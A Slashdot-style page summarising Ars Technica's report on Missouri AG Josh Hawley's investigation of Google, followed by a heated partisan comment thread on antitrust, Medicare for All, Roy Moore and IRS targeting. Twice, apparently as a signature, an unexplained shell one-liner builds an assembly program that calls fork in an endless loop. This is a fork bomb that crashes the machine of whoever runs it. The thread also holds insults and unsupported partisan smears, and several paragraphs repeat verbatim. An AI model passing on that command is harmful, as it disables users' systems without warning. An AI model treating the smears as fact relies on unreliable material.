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Why Google Should Be Afraid of a Missouri Republican's Google Probe (arstechnica.com)
An anonymous reader quotes a report from Ars Technica: The Republican attorney general of Missouri has launched an investigation into Google's business practices. Josh Hawley wants to know how Google handles user data. And he plans to look into whether Google is using its dominance in the search business to harm companies in other markets where Google competes. It's another sign of growing pressure Google is facing from the political right. Grassroots conservatives increasingly see Google as falling on the wrong side of the culture wars. So far that hasn't had a big impact in Washington policymaking. But with Hawley planning to run for the U.S. Senate next year, we could see more Republican hostility toward Google -- and perhaps other big technology companies -- in the coming years. The Hawley investigation will dig into whether Google violated Missouri's consumer-protection and antitrust laws. Specifically, Hawley will investigate: "Google's collection, use, and disclosure of information about Google users and their online activities," "Google's alleged misappropriation of online content from the websites of its competitors," and "Google's alleged manipulation of search results to preference websites owned by Google and to demote websites that compete with Google." States like Missouri have their own antitrust laws and the power to investigate company business conduct independently of the feds. So Hawley seems to be taking yet another look at those same issues to see if Google's conduct runs afoul of Missouri law.
We don't know if Hawley will get the Republican nomination or win his challenge to Sen. Claire McCaskill (D-Mo.) next year, but people like him will surely be elected to the Senate in the coming decade. Hawley's decision to go after Google suggests that he sees some upside in being seen as an antagonist to a company that conservatives increasingly view with suspicion. More than that, it suggests that Hawley believes it's worth the risk of alienating the GOP's pro-business wing, which takes a dim view of strict antitrust enforcement even if it targets a company with close ties to Democrats.
We don't know if Hawley will get the Republican nomination or win his challenge to Sen. Claire McCaskill (D-Mo.) next year, but people like him will surely be elected to the Senate in the coming decade. Hawley's decision to go after Google suggests that he sees some upside in being seen as an antagonist to a company that conservatives increasingly view with suspicion. More than that, it suggests that Hawley believes it's worth the risk of alienating the GOP's pro-business wing, which takes a dim view of strict antitrust enforcement even if it targets a company with close ties to Democrats.
You are not google's customer. You are the product. There is no monopoly on search, there is almost no barrier to creating a new search engine and there is nothing sticky about me using Bing, Google or DuckDuckGo. Google is completely up front about what they do with the data people freely give them.
Google is how ever a monopolist in advertising. If I want to buy advertising on the internet I go to Google. They make it easy, they give me amazing tools and they can sell me placement everywhere. No other advertiser on the non-facebook internet is even relevant. On the flip side if you want to sell advertising space on your website, unless you want to have a real sales team, you have no choice but to sell to Google. The barrier to entry in online advertising is massive. Search, email, maps, documents, etc., those are just added lines of defense to protect adwords.
So, basically, reducing regulations only matter when it affects large Republican donors?
Yes. More generally, one's legislative agenda serves only those who have contributed to one's election and future re-elections.
This also works in the reverse order, those who do not donate receive lots of regulatory attention. Remember pre-1996 Microsoft saying they didn't see a need to lobby? Well, after Janet Reno finished with them, they do not do that anymore.
You live in an echo chamber where everything you read tells you your views are virtuous and clever and the other side is evil and stupid. The reason Google got into such trouble is that they hire people from inside the same echo chamber and fire people when they point this out like Damore did.
You American left wingers have ironically become indistinguishable from the way you used to portray the religious right - self righteous authoritarians who think anyone who disagrees with them is stupid and/or evil. The American left even has doctrines equivalent to original sin (male privilege and white guilt) and hell (environmental collapse). As with original sin white guilt can only be expiated by continual penitence. As with the Christian fundamentalist version of hell environmental collapse can only be avoided by not doing fun stuff. And like the Christian fundamentalists the onus always seems to be on stopping other people doing fun stuff - people like Al Gore live in vast, energy efficient mansions while telling everyone else to use less energy to save the planet from global warming, analogous to the way Ted Haggard used meth and slept with rent boys in private while publicly telling everyone else to abstain from sin in order to save their souls from hellfire. Like the religious right in the 80's the modern American left wants to take away people's freedom, ostensibly for their own good. But like the religious right you always get the feeling that pursuit of political power is a significant part of the real reason. And the people wanting to set standards have no intention of living up to those standards themselves.
It's actually kind of amusing to watch from the outside. You don't know how much like the standard Hollywood portrayal of a hypocritical, power hungry fundamentalists your side sounds like. You can see characters like this in any Stephen King novel. What the left in the US don't realise is to at least half the US people like Al Gore look a lot like that to them.
The left in the US didn't used to be this way. Bill Clinton may have been an awful person when it came to sexual harassment and corruption, but he moved the party to the centre, a trick Tony Blair copied in the UK. It's only recently that the left has become captivated by identity politics and millennial fears of environmental catastrophe that can only be averted by vast amounts of central planning. Bernie for example wants Medicare for all. Something even NPR - a sympathetic media outlet - said would cost $32 Trillion over 10 years
https://www.npr.org/2017/09/14...
Payment is unclear. A generous plan that covers all Americans is going to require more revenue. There's no exact plan for how to pay for Sanders' bill, but he did on Wednesday afternoon release a list of potential payment options. Among the proposals: a 7.5 percent payroll tax on employers, a 4 percent individual income tax and an array of taxes on wealthier Americans, as well as corporations. In addition, Sanders' plan says the end of big health insurance-related tax expenditures, like employers' ability to deduct insurance premiums, would save trillions of dollars.
But even with all of those potential revenue-boosters, Sanders may still fall far short of the total amount of money needed to pay for his ambitious program. Altogether, his estimates of how much money his funding mechanisms would generate totals up to around $16 trillion over 10 years. In a 2016 report on his presidential campaign's "Medicare for All" plan, the Urban Institute estimated that the plan would cost $32 trillion over 10 years.
To put $32 Trillion in perspective the cumulative debt almost doubled under Obama - increasing from $10.63 Trillion to $19.4 trillion. Once again Politifact is a source sympathetic to the left.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
US debt to GDP is already at over 100%
https://tradingeconomics.com/u...
It's forecast to stay there
https://tradingeconomics.com/u...
Now going from $19 Trillion and 100% of GDP to $51 Trillion and presumably over 200% of GDP doesn't seem like a good idea to me.
And that's from one policy. Most people think the forecast is hopelessly optimistic and if you're willing to add $32 trillion to the debt over one policy to buy votes, what's to stop you adding another one?
It's disastrous. And up until the last election most Democrats knew it. Hillary still does
http://www.businessinsider.com...
In an interview published Wednesday, Ezra Klein of Vox asked Clinton, who defeated Sanders to become the Democratic presidential nominee in 2016, what she thought of the independent Vermont senator's Medicare-for-all plan, which he is set to release later Wednesday.
"Well, I don't know what the particulars are," Clinton said. "As you might remember, during the campaign he introduced a single-payer bill every year he was in Congress - and when somebody finally read it, he couldn't explain it and couldn't really tell people how much it was going to cost."
Clinton also highlighted what she saw as potential flaws in selling such a plan: special interests and public sentiment.
"When I was working on healthcare back in in '93 and '94, I said if we could've waved the magic wand and started all over, maybe we would start with something resembling single-payer plus other payers, like other countries that have universal coverage and are much better at controlling costs than we do, primarily in Europe," Clinton said. "But we were facing the reality of not just strong, powerful forces but people's own fears as well as their appreciation for what they already had."
As an example, Clinton cited the difficulties with the attempt at single-payer in Sanders' home state of Vermont, saying it was "difficult to out the pieces together."
In Vermont Single Payer For All failed
https://www.politico.com/story...
I bet the Democrats end up supporting it though and wheeling out Jimmy Kimmel to cry that anyone who opposes it wants kids like his to die.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
If the women were underage, he could run for senate in Alabama.
The difference between Dems and Repubs is Dems condemn their criminals, Repubs call it fake news.
Child molesting is a left-wing thing.
So Roy Moore has secretly been a left-winger all his life? Trump? But the real difference is that the left-wing public is totally willing to throw all of those people under the bus, but the right-wing public is all too ready to make excuses for child molesters. Roy Moore has got over fifty churches making apologies for him, which makes sense given that there are whole books of the Christian bible which are literally nothing but apologia for older books in which God and his followers act like fuckheads constantly.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
Yes, the one that didn't happen so bad that Tea Party groups ended up with a $3.5M settlement.
Keep on being a dumb fuck though, it's clearly working for you.
So many commenters here have been quick to forget discriminatory IRS practices under Obama.
You mean the thing about IRS investigating a group that said it didn't like taxes at all? Whyever would they try cheating on tax returns?
It was a much wider program than that, there were many groups. When all that happened, my wife was the head of a group in our state. She got started with the Ron Paul campaign, before the "Tea Party" was really a thing, so she got her org's 501(c)(3) status before the IRS started targeting conservative groups.
So since that was already in place, they went after us personally instead. There were audits, bills, threats, all based on nothing. We kept filing paperwork and responses to their queries, which somehow the IRS never received. I'd mail AND fax the stuff in, call to confirm and they just tell me I have to wait 6 weeks. 6 weeks pass and somehow they never got it. Send it again, and more threatening letters. We had to start making payments for a bill we didn't owe because they were shutting down our bank account.
The funny part is, less than a week after the "investigation" ended with a finding that the IRS "did nothing wrong," I get a call from a IRS rep that says they just got our case on the desk. He asked a couple of questions and gave me a fax number. Sent in the paperwork and called the next day, everything was cleared up.
So, yea, I don't buy that they weren't targeting people.
"Somebody has to do something. It's just incredibly pathetic it has to be us."
--- Jerry Garcia
Bullshit.
When all that happened, my wife was the head of a group in our state. She got started with the Ron Paul campaign, before the "Tea Party" was really a thing, so she got her org's 501(c)(3) status before the IRS started targeting conservative groups.
So since that was already in place, they went after us personally instead. There were audits, bills, threats, all based on nothing. We kept filing paperwork and responses to their queries, which somehow the IRS never received. I'd mail AND fax the stuff in, call to confirm and they just tell me I have to wait 6 weeks. 6 weeks pass and somehow they never got it. Send it again, and more threatening letters. We had to start making payments for a bill we didn't owe because they were shutting down our bank account.
The funny part is, less than a week after the "investigation" ended with a finding that the IRS "did nothing wrong," I get a call from a IRS rep that says they just got our case on the desk. He asked a couple of questions and gave me a fax number. Sent in the paperwork and called the next day, everything was cleared up.
So, yea, I don't buy that they weren't targeting people.
"Somebody has to do something. It's just incredibly pathetic it has to be us."
--- Jerry Garcia